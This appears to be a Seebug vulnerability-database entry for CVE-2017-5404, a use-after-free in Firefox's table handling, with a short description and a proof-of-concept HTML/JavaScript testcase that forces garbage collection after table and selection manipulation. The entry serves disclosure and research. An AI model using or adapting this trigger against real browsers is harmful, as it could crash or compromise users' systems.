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Mozilla Firefox table use-after-free(CVE-2017-5404)

🗓️ 30 Mar 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 57 Views

Mozilla Firefox use-after-free vulnerability in table handling (CVE-2017-5404). ASan log shows heap-use-after-free error during table creation, leading to potential security risk

Related
Code

                                                
<style>
body { display: table }
</style>
<script>
function freememory() {
  try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
  var s = document.getSelection();
  window.find("1",true,false,true,false);
  s.modify("extend","forward","line");
  document.body.append(document.createElement("table"));
  freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>

                              

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